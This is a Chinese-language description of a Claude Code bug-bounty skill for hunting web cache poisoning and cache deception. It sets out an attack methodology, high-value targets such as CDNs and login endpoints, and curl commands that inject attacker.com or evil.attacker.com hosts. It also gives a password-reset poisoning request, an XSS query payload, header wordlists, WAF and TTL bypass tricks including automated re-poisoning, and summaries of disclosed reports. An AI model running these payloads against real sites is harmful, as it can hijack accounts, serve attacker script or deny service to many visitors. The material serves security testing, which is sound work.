关于 hunt-cache-poison
hunt-cache-poison 是面向安全研究者的 Web 缓存投毒测试技能。它提供从识别缓存基础设施、测试未纳入缓存键的输入,到验证跨请求污染和评估影响范围的流程。
主要功能
- 01识别缓存基础设施与命中信号
- 02测试未纳入缓存键的请求头
- 03检查 Web 缓存欺骗与参数污染
- 04验证投毒响应是否影响后续请求
- 05评估缓存持续时间与影响范围
适用场景
- 01检查 X-Forwarded-Host 是否污染缓存响应
- 02测试动态账户页面是否被当作静态资源缓存
- 03验证错误响应是否会造成缓存拒绝服务
- 04确认投毒内容是否会被其他访客获取
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-cache-poison安装后在 Claude Code 中输入/hunt-cache-poison确认已加载。
详细介绍
核心高价值目标
缓存投毒价值很高,因为单个被投毒的缓存条目就能同时影响数千甚至数百万名受害者——只需一个请求,就能大规模利用。赏金金额随影响范围扩大而增加。
最高价值的目标:
- 由 CDN 提供服务的资源(cdn.shopify.com、cloudfront 分发、Fastly/Akamai 边缘节点)——投毒这些资源会影响全球所有访客
- 带有联盟营销/推荐流程的电商平台(Shopify、WooCommerce 店面)——可能导致会话劫持或联盟营销欺诈
- 带有更新服务的游戏平台(rockstargames updates.* 域名)——更新分发遭拒绝服务会导致大量客户端故障
- 通过缓存提供服务的身份验证端点——可能导致账户接管(严重程度最高的变体)
- 资源 CDN(JS/CSS 分发)——大规模投放 XSS 载荷
- SaaS 多租户平台——一个被投毒的响应可能泄漏给所有共享同一缓存键的租户
收益最高的资源类型: CDN 主机名、每个租户一个子域名的模式、更新/下载服务器、缓存配置不当的登录/账户页面、联盟链接缩短服务。
自主测试优先级
此技能涵盖两种不同的攻击——先测试较简单的一种。
攻击 1——密码重置投毒(Host 标头注入):
应用使用 Host 标头构造邮件中的密码重置链接。注入攻击者控制的主机名;受害者收到的重置邮件中就会包含指向你服务器的链接。
POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
[email protected]
Content-Type: application/x-www-form-urlencoded
使用你控制或能在响应中识别的独特主机名。证明: 注入的主机名出现在响应正文中(某些应用会反射生成的重置链接),或者注入后操作成功(返回 2xx,且显示“已发送重置邮件”之类的消息)——这证实了被投毒的链接会发送给受害者。
尝试多个主机标头——不同应用信任的标头不同(最常见的是 X-Forwarded-Host,但如果代理会转发,Host 本身也有效)。
攻击 2——Web 缓存投毒:
在针对可缓存页面的 GET 请求中,将攻击者控制的主机名注入 X-Forwarded-Host。如果响应正文反射了该主机名,且响应被缓存,后续访客就会收到被投毒的响应。
检查响应中是否有缓存信号:X-Cache: HIT、CF-Cache-Status: HIT、Age: <nonzero> 或 Via: cloudfront/varnish/fastly。
两种攻击的证明: 注入值被反射到响应正文中,或在操纵标头后操作仍成功完成。
攻击面信号
需要留意的 URL 模式:
cdn.、assets.、static.、updates.、downloads.子域名- 带有类似静态资源扩展名的 URL 路径结构:
/path/to/page.css、/account.php/nonexistent.jpg - 联盟营销/链接缩短端点:
/link/、/go/、/ref/、/out/ - 将动态内容与看似可缓存的 URL 混合使用的路径
表明存在缓存的响应标头:
X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...
JS/技术栈信号:
- 响应标头中出现 Fastly、Varnish、Cloudfront、Akamai、Nginx proxy_cache
- 带有第三方集成的 Shopify/Linkpop 技术栈
- 使用基于路径的路由且不规范化尾随路径段的平台
- 会将未经验证的标头(Host、X-Forwarded-Host、X-Original-URL)反射到响应中的服务器
危险的候选标头(不参与缓存键计算的输入):
X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override
逐步狩猎方法
-
绘制缓存基础设施。 向目标发送 GET 请求并检查响应标头。识别缓存层(Cloudflare、Fastly、Varnish、Nginx)。记录
Age、X-Cache、CF-Cache-Status标头。 -
识别缓存键组成部分。 发送两个完全相同的请求——如果
Age递增,则响应已缓存。逐一更改标头(例如,添加X-Forwarded-Host),以确定哪些标头未包含在缓存键中(未纳入键控)。 -
测试未纳入键控的标头反射。 添加
X-Forwarded-Host: evil.com,检查该值是否出现在响应正文中(重定向、规范链接、CSP 标头、JS src 属性、meta 标签)。附加一个唯一的缓存绕过查询参数(例如?cb=<random>),使探测请求在一个临时键下产生缓存未命中——这样可在真实的、受害者共享的缓存键下过早存入有效的投毒条目之前,验证反射是否存在。(Param Miner 的“Guess headers”模式是用于自动发现这些未纳入键控的标头/参数的 Burp 标准工具。) -
测试 URL 路径操纵(Web 缓存欺骗)。 在动态端点后附加伪造的静态扩展名:
GET /account/profile.cssGET /dashboard/settings.jpgGET /affiliate-link/target.js检查服务器是否返回动态内容,且缓存是否存储了该内容。
-
测试是否可通过缓存投毒造成 DoS。 发送带有会导致 4xx/5xx 错误的标头的请求,并检查错误响应是否被缓存:
- 格式错误的
Host标头 - 指向无效主机的
X-Forwarded-Host - 触发后端错误的超大标头
- 格式错误的
-
确认未纳入键控的参数投毒。 尝试查询参数疲劳或 HTTP 参数污染:
GET /page?utm_source="><script>alert(1)</script>检查该参数是否被反射,以及对/page的干净请求是否会命中缓存的内容。
-
验证缓存存储。 发送可能导致投毒的请求后,立即从不同 IP 或无痕会话请求相同 URL,且不带恶意标头。如果收到被投毒的响应,即可确认。
-
测量缓存 TTL。 检查
Cache-Control: max-age和Age,了解投毒内容会持续多久,以及它在过期前是否可被利用。 -
专门检查联盟营销/链接流程。 对 Linkpop 等平台,测试引荐来源/产品 URL 是否嵌入可缓存的响应中,并会被其他用户接收。
-
记录影响范围。 确定影响范围是全球 CDN 边缘节点(全球范围)、区域缓存,还是单服务器缓存。这会直接影响严重性评级。
载荷与检测模式
确认缓存行为:
# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
测试未纳入键控的 X-Forwarded-Host:
curl -s -H "X-Forwarded-Host: evil.attacker.com" \
"https://target.com/page" | grep -i "evil.attacker.com"
测试 Web 缓存欺骗(附加路径):
# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
"https://target.com/account/profile.css"
# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"
强制缓存未命中,以在不命中缓存版本的情况下测试投毒:
# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
"https://target.com/page?cb=$RANDOM"
通过被投毒的错误响应造成 DoS:
curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
"https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"
在 Burp/ZAP 响应历史记录中搜索模式:
# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]
# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.
# Web cache deception indicators
Content-Type: text/css (but response is HTML/JSON)
Cache-Control: public.*max-age (on authenticated endpoint)
参数污染测试:
curl -s "https://target.com/page?cb=1¶m=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"
Burp Suite Intruder 未纳入键控标头词表:
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP
Origin 标头 → ACAO 缓存投毒
将 Origin 添加到未纳入键控的标头集合中。测试它是否会被反射到 Access-Control-Allow-Origin 中并随后被缓存:连续两次使用 curl -H "Origin: evil.example" URL -I 请求。缓存了攻击者来源或 * 的 ACAO 会破坏合法用户的 CORS(缓存 DoS);缓存了宽松 ACAO 则允许跨用户读取数据。已披露:reports/591302。
常见根本原因
-
CDN 配置错误——仅根据 URL 路径缓存。 工程师配置诸如“缓存所有匹配
*.js的内容”之类的规则,却没有意识到动态路由后面可以附加路径。源服务器会忽略多余的路径段,但 CDN 会将它们用作缓存键。 -
转发标头未纳入缓存键。 开发者配置反向代理,将
X-Forwarded-Host转发给后端,用于生成 URL(规范链接、重定向、密码重置邮件),却没有将其纳入缓存键。CDN 缓存了被投毒的响应。 -
通过宽松路由实施 Web 缓存欺骗。 会规范化 URL 的框架(例如 Rails、Express)会接受
/account/settings.css,并返回与/account/settings相同的响应。CDN 看到.css扩展名后,会应用激进的缓存规则。 -
多租户响应被共享缓存。 使用单个 CDN 且缓存键中未隔离租户的 SaaS 平台会导致跨租户缓存投毒。
-
未加审慎处理就缓存错误响应。 由攻击者控制的输入触发的后端错误(404、500)会被缓存,导致合法用户遭受 DoS。开发者实施缓存时没有排除错误状态码。
-
Vary标头实现草率。 开发者知道应该添加Vary: X-Forwarded-Host,但常常忘记;或者 CDN 会完全移除/忽略Vary标头(Cloudflare 过去会移除某些资产类型的 Vary 标头)。 -
会反射 URL 的第三方集成。 联盟营销/链接跟踪系统(例如 Shopify Linkpop)会在元数据、规范标签或重定向中反射目标 URL,而这些内容会被全局缓存。
绕过技术
防御:WAF 阻止已知的投毒标头
- 绕过:使用不常见的标头变体:
X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded: host=evil.com、X-Original-URL - 绕过:对标头值进行编码:
X-Forwarded-Host: evil%2ecom - 绕过:改变大小写:
x-forwarded-host、X-FORWARDED-HOST
防御:在边缘节点剥除攻击者提供的标头
- 绕过:如果代理会降级到 HTTP/1.1,则操纵 HTTP/2 伪标头
- 绕过:通过 HTTP 请求走私进行注入——将带有投毒标头的请求走私通过 WAF,直接访问缓存服务器
防御:缓存前要求进行身份验证
- 绕过:Web 缓存欺骗——在 URL 后附加
.css/.js,诱使缓存存储经过身份验证的内容,从而匹配会忽略身份验证的缓存规则
防御:缓存键包含完整 URL 和查询字符串
- 绕过:HTTP 参数污染——某些解析器会采用第一个出现的参数,而缓存则以完整字符串作为键;注入
?legit=1¶m=evil,缓存会将其存储在?legit=1¶m=evil下,但受害者访问的是?legit=1 - 绕过:超大 GET 请求——发送后端会处理、但缓存会忽略的正文参数
防御:缩短 TTL / 快速清除缓存
- 绕过:自动重新投毒;在 TTL 即将过期前循环发送投毒请求
- 绕过:通过特定 PoP 路由请求,针对默认 TTL 较长的 CDN 节点
防御:在敏感端点设置 Cache-Control: private
- 绕过:检查 CDN 是否遵循此标头(如果管理员已全局覆盖缓存规则,某些 CDN 会忽略此标头)
- 绕过:寻找会反射相同敏感数据的相邻可缓存端点
Gate 0 验证
-
攻击者现在能做什么? 攻击者必须能够污染缓存条目,并证明来自不同客户端/IP 的独立、未认证请求会收到被污染的响应,而不只是攻击者自己的浏览器收到响应。如果只有攻击者能看到效果,那就不算缓存投毒。
-
受害者会失去什么? 必须属于以下情况之一:(a) 通过被污染响应中反射的凭据导致会话/账户被攻陷;(b) 通过被污染的资源执行攻击者控制的 JS;(c) 服务拒绝,即合法请求返回错误响应;或 (d) 敏感数据泄露(账户详情被缓存并提供给其他用户)。仅有“奇怪的响应标头”不算影响。
-
能否在 10 分钟内从头复现? 你必须能够:发送投毒请求 → 等待缓存存储 → 从无痕窗口/不同 IP 获取该 URL → 观察被污染的响应。如果无法用第二个客户端演示这一干净的复现过程,缓存可能并未真正存储投毒内容,报告也还没准备好。
实际影响案例
场景 1 — CDN 资源投放遭大规模 DoS(Shopify CDN)
攻击者发现,cdn.shopify.com 上由 CDN 提供的 JavaScript 资源可以被投毒:只需发送带有特制标头的请求,导致源站返回 4xx 错误。CDN 缓存了这条错误响应。此后,任何加载该资源的商家店面都会收到缓存的错误响应,而非有效的 JS 文件,导致所有共用该 CDN 路径的店面结账流程和功能出现故障。只需一个 HTTP 请求,就会对所有商家造成影响,且影响会持续到缓存 TTL 过期。
场景 2 — 通过 Web 缓存欺骗接管账户
在一个提供已认证账户页面的平台上,攻击者构造了类似 /account/profile/photo.jpg 的 URL,并通过钓鱼链接发送给受害者。当已认证的受害者访问该 URL 时,服务器返回其完整账户资料页面(姓名、电子邮件、会话令牌)。由于 URL 以 .jpg 结尾,CDN 将已认证的响应公开缓存。随后,攻击者无需认证即可获取 /account/profile/photo.jpg,并收到受害者的账户数据,从而能够完全接管账户。由于缓存会向之后的任何请求者提供相同响应,影响进一步扩大。
场景 3 — 通过 URL 路径操纵劫持联盟链接(Shopify Linkpop) 攻击者发现,Linkpop 联盟链接服务会根据 URL 路径缓存响应,却会在缓存的 HTML 中反射经过操纵的产品目标 URL。攻击者在合法用户访问之前打开特制路径,污染缓存,将联盟链接点击重定向到攻击者控制的域名,而不是合法的 Amazon 商品页面。受害者点击看似有效的商家链接后会被引导至攻击者的基础设施,从而使攻击者得以进行凭据钓鱼,并导致合法商家损失联盟佣金收入。
已披露报告引用(2017-2024)
以下是真实且经过验证的漏洞赏金/协调披露案例,可扩展本技能的内容。涵盖两大类:缓存投毒(攻击者影响提供给受害者的缓存响应)和缓存欺骗(攻击者诱使缓存存储受害者的私有响应)。
-
Shopify — 通过 X-Forwarded-Host 进行缓存投毒(H1 #977851)
- 子类:X-Forwarded-Host 标头投毒(未纳入缓存键的输入 → 重定向/脚本来源损坏)
- 载荷:使用
X-Forwarded-Host: attacker.com发送GET /any-path请求 — 单个请求便将攻击者的主机持久写入缓存响应,影响apps.shopify.com及其本地化子域名 - 根本原因:X-Forwarded-Host 会影响资源/重定向 URL 的生成,但并未纳入缓存键
- 年份:2020 — $1,300 → 升级至 $6,300(一次投毒,影响波及多个主机)
-
HackerOne — 通过 X-Forwarded-Port 缓存投毒造成 DoS(H1 #409370)
- 子类:X-Forwarded-Host / X-Forwarded-Port DoS(将重定向投毒到无效端口)
- 载荷:使用
X-Forwarded-Port: 1发送GET /<redirect-path>——缓存的 301 重定向将合法用户指向端口 1,导致无法访问 - 根本原因:生成 301 重定向时信任 X-Forwarded-* 标头;缓存存储了错误的 Location
- 年份:2018 — $2,500(H1 针对 H1 的开创性案例)
-
GitLab — 通过 X-HTTP-Method-Override 缓存投毒造成 DoS(H1 #1160407)
- 子类:方法伪装 / GCS 缓存键泄漏(HEAD 响应存储在 GET 键下)
- 载荷:使用
X-HTTP-Method-Override: HEAD发送GET /assets/webpack/*.js——GCS 后端遵循了该方法覆盖标头并返回空响应体;CDN 将其缓存为标准 GET 响应 - 根本原因:CDN 缓存未区分请求方法;HEAD 响应体(空)覆盖了缓存静态资源的 GET 条目
- 年份:2021 — $2,500(DoS 通常不在范围内,此次因其新颖性而获奖励)
-
PayPal — Web 缓存欺骗(Omer Gil 原创)(博客)
- 子类:在需要身份验证的路由后追加
.css/.jpg等路径的经典 WCD - 载荷:
GET https://www.paypal.com/myaccount/home/foo.css——源站提供完整的已认证账户页面;CDN 将其作为“静态 .css”缓存约 5 小时 - 根本原因:源站将未知路径后缀路由到上级动态处理程序;CDN 仅根据看似静态的文件扩展名进行缓存
- 年份:2017 — $3,000(PortSwigger 2017 年十大 Web 黑客技术第 2 名)
- 子类:在需要身份验证的路由后追加
-
Cloudflare PBB — 通过
.avif绕过缓存欺骗防护(H1 #1391635)- 子类:利用冷僻的图片扩展名绕过 CDN 特定的允许列表(Cloudflare 的 WCD 防护功能)
- 载荷:
GET https://<protected-origin>/account/me.avif——Cloudflare 的 Cache Deception Armor 扩展名列表未包含.avif,因此已认证的 HTML 响应被缓存 - 根本原因:Cache Deception Armor 使用了静态且不完整的扩展名允许列表,未涵盖现代图片 MIME 类型
- 年份:2022 — Cloudflare PBB 奖金(金额未披露)
-
Akamai(PayPal/Airbnb/Goldman Sachs)— 逐跳标头走私 → 服务端边缘缓存投毒(Tediosi 和 Mariani 的分析文章)
- 子类:CDN 特定的请求走私,将攻击者的响应存入附近 IP 使用的 Akamai 边缘缓存
- 载荷:
Connection: Content-Length+ 精心构造的请求 ——Akamai 的第一个代理将 Content-Length 作为逐跳标头剥离;第二个代理则将请求体视为第二个请求,其响应被缓存在边缘 - 根本原因:Akamai 各代理层对逐跳标头的处理不一致,导致请求失步;走私的响应被全局缓存在服务端
- 年份:2022 — 受影响项目的总额 >$50K(PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100),入围 PortSwigger 2022 年十大 Web 黑客技术
-
James Kettle (PortSwigger) — “Gotta cache 'em all”:针对 Cloudflare/Fastly/GCP 的路径规范化与 WCD(PortSwigger Research)
- 子类:主要 CDN(Cloudflare、Fastly、GCP/Google Cloud)中的缓存键路径规范化差异和 Web Cache Deception——本技能描述中提到的 2024 年研究
- 载荷:源站与缓存对分隔符/规范化处理的差异(例如编码路径段和静态后缀技巧),导致缓存将动态/已认证响应存储在看似静态的键下
- 根本原因:缓存与源站对 URL 路径的规范化/解析方式存在分歧,因此缓存键与源站实际提供的资源不匹配
- 年份:2024 年——与 CDN 供应商协调披露;方法论研究(无单一漏洞赏金),入选 PortSwigger 2024 年十大 Web 攻击技术
相关技能与攻击链
hunt-xss— 缓存投毒是将反射型 XSS(低危、仅影响自身)扩大为影响每位 CDN 边缘访客的存储型 XSS 的倍增器。攻击链基元:X-Forwarded-Host: attacker.com污染缓存的 script src → 缓存响应现在包含<script src="//attacker.com/x.js">→ 该 CDN 边缘的每位访客都会执行攻击者的 JS,并在整个 Cache-Control max-age 期间持续生效。hunt-http-smuggling— 请求走私绕过前端缓存键规范化以及 WAF 对投毒标头的剥除,直接命中缓存服务器。攻击链基元:CL.TE 走私将X-Forwarded-Host: attacker.com送达缓存后端,绕过边缘处剥除该标头的 WAF → 投毒条目以受害者的常规 URL 为键存储 → 去同步投毒,走私请求成为下一个受害者收到的缓存响应。hunt-auth-bypass— Web Cache Deception 会将已认证页面变成公开缓存的响应,把与会话绑定的内容泄露给未认证攻击者。攻击链基元:/account/profile.css作为已认证 HTML 提供,并作为静态资源缓存 → 攻击者无需认证即可请求同一 URL 并读取受害者的电子邮箱/令牌 → 响应正文中包含会话 Cookie → 完全接管账户(ATO)。security-arsenal— 手动模糊测试前,先使用无键标头词表(X-Forwarded-Host、X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded、X-Original-URL)和 WCD 路径扩展名列表(.css、.js、.jpg、.ico、;.css、%2e%2ecss)。triage-validation— 在宣称为严重级别前,先运行预严重级别检查:必须能够从不同 IP/无痕模式复现被投毒的响应,且不带你的投毒标头。如果只有你自己的浏览器能看到效果,那只是自缓存,严重级别不适用(N/A)。